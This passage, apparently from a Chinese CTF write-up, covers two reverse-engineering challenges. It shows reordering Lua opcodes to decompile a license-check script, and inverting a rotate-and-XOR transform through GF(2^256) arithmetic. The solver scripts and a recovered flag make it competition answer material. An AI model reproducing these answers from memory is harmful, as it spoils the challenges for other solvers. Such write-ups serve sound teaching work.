    3. 更新lua5.3中的opcode顺序(lopcode,具体看.c和.h文件,有三个数组要修改),重新编译luadec(github可以搜索到),然后对check_license_out.lua进行反汇编,反编译会失败。

    4. 根据lua反汇编代码逆向分析,即可得到flag。

附上Vidar-Team队求flag的脚本:

#!/usr/bin/env python
# coding=utf-8
tb=[81, 138, 85, 142, 185, 35, 229, 83, 8, 225, 92, 223, 222, 47, 182, 158, 17, 74, 34, 100, 43, 103, 102, 147, 237, 88, 73, 28, 224, 23, 44, 40, 154, 127, 16, 169, 160, 118, 51, 194, 31, 68, 89, 65, 162, 13, 141, 0, 244, 119, 161, 198, 228, 95, 10, 78, 37, 121, 236, 59, 60, 91, 146, 46, 77, 218, 66, 200, 61, 241, 70, 55, 39, 227, 42, 2, 231, 235, 122, 135, 152, 137, 173, 232, 101, 75, 233, 21, 252, 15, 133, 111, 205, 57, 132, 187, 96, 49, 124, 86, 19, 188, 80, 213, 106, 214, 203, 177, 56, 104, 82, 110, 196, 113, 155, 170, 150, 117, 26, 140, 144, 11, 172, 67, 209, 125, 54, 58, 128, 204, 186, 199, 189, 208, 239, 143, 249, 246, 1, 139, 33, 87, 64, 116, 84, 254, 126, 202, 148, 76, 247, 115, 109, 3, 238, 114, 156, 195, 163, 159, 52, 36, 245, 240, 63, 153, 166, 167, 175, 9, 151, 171, 216, 207, 179, 72, 176, 48, 178, 157, 20, 181, 149, 53, 184, 4, 136, 165, 217, 50, 190, 191, 192, 193, 98, 215, 62, 112, 38, 90, 123, 105, 94, 221, 99, 201, 206, 251, 14, 211, 220, 131, 212, 130, 134, 253, 120, 145, 18, 219, 79, 129, 12, 93, 5, 183, 107, 71, 226, 180, 24, 234, 7, 108, 174, 6, 45, 29, 32, 168, 230, 197, 41, 25, 255, 164, 27, 210, 248, 97, 250, 22, 242, 243, 30, 69]
x=[172, 25, 60, 95, 5, 27, 49, 58, 171, 5, 253, 45, 87, 246, 197, 12, 97, 234, 159, 119, 157, 169, 121, 54, 242]
ans=[94, 117, 57, 37, 54, 110, 15, 223, 163, 133, 99, 237, 8, 128, 27, 54, 233, 181, 242, 55, 230, 62, 42, 252, 116]
for i in range(25):
  print(chr(tb.index( ans[i]) ^ x[i]), end='')

divination

libdivination.so里其实就做了循环左移/右移和异或的操作,算法还原如下:

k = 1
for(i=3;i<129;i+=2){
       for(j=3;j<12;j+=2){
               if(!(i%j))
                       continue;
      }
       if(k) {

               result ^=RotateLeft(input, i);
      } else {

               result ^=RotateRight(input, i);
      }

       k = !k;
}

无法通过简单逆推求flag,这里涉及有限域的知识。对256bit的数做循环移位和异或分别等价于在有限域GF(2^256)上做乘法和加法的操作,因此我们可以将对该数所做的操作抽象成有限域中的一个元素,对这个元素在有限域上取逆即为相应的逆操作,对结果做逆操作即为原始数值。 求解脚本如下:

#include<cstdio>
#include<iostream>
#include <boost/multiprecision/cpp_int.hpp>

typedef boost::multiprecision::uint256_t uint256;
// flag{YoU\C4n/s01Ve%f1Nite_F1e1d}

//unsigned char key[32] = {0x5a,0x4e,0xd7,0x16,0xd8,0x3d,0x04,0x7a,0x30,0xcf,0x0f,0xc6,0x56,0x5a,0x64,0x88,0x19,0x1b,0x70,0xbf,0x7d,0xd4,0x48,0x25,0xde,0xd0,0xac,0xf1,0x26,0x45,0x76,0xe7};
unsigned char key[32] = {0x34,0x39,0xa7,0x64,0xbd,0x4d,0x7d,0x12,0x5e,0xb8,0x7f,0xb4,0x33,0x2a,0x1d,0xe0,0x77,0x6c,0x00,0xcd,0x18,0xa4,0x31,0x4d,0xb0,0xa7,0xdc,0x83,0x43,0x35,0x0f,0x8f};
unsigned char arr[] = {254,253,252,248,247,245,244,243,241,239,238,237,232,231,230,229,228,227,226,223,220,219,218,217,215,214,213,209,208,207,205,199,197,194,193,190,188,187,186,182,180,176,171,169,163,162,161,160,158,156,155,154,153,146,144,141,139,137,135,131,130,129,127,125,122,120,117,114,111,107,103,102,101,100,99,98,97,94,93,92,89,88,87,86,85,78,73,72,71,69,66,62,61,59,58,57,54,52,51,50,49,48,47,46,44,41,39,36,35,34,32,31,30,29,28,24,23,22,17,15,14,13,12,9,6,2,0};

uint256 lrol(uint256 c,unsigned int b)
{  
       uint256  left=c<<b;  
       uint256 right=c>>(256-b);
       uint256 temp=left|right;  
       return temp;  
}

int main()
{
int i;
uint64_t *p, x=0x687970657270776e;
char *c;
p = (uint64_t *)key;
for(i=0;i<4;i++)
p[i]^=x;
uint256 n=-1;
memset(&n,0,32);
memcpy(&n, key, 32);
uint256 m=0;
for(i=0;i<sizeof(arr);i++)
m ^= lrol(n, arr[i]);
c = (char*)&m;
puts(c);
for(i=0;i<32;i++)
putchar(c[31-i]+4);
putchar('\n');
return 0;
}

其中,arr数组为逆操作,推导的脚本如下:

#!/usr/bin/env python
# coding=utf-8
from pyfinite import ffield
F = ffield.FField(256, gen=2**256+1, useLUT=0)
x = 1 + 2**13 + 2**(256-17) + 2**19 + 2**(256-23) + 2**29 + 2**(256-31) + 2**37 + 2**(256-41) + 2**43 + 2**(256-47) + 2**53 + 2**(256-59) + 2**61 + 2**(256-67) + 2**71 + 2**(256-73) + 2**79 + 2**(256-83) + 2**89 + 2**(256-97) + 2**101 + 2**(256-103) + 2**107 + 2**(256-109) + 2**113 + 2**(256-127)
print(F.ShowPolynomial(F.Inverse(x)))
请先登录
+1 已点过赞
0
分享到: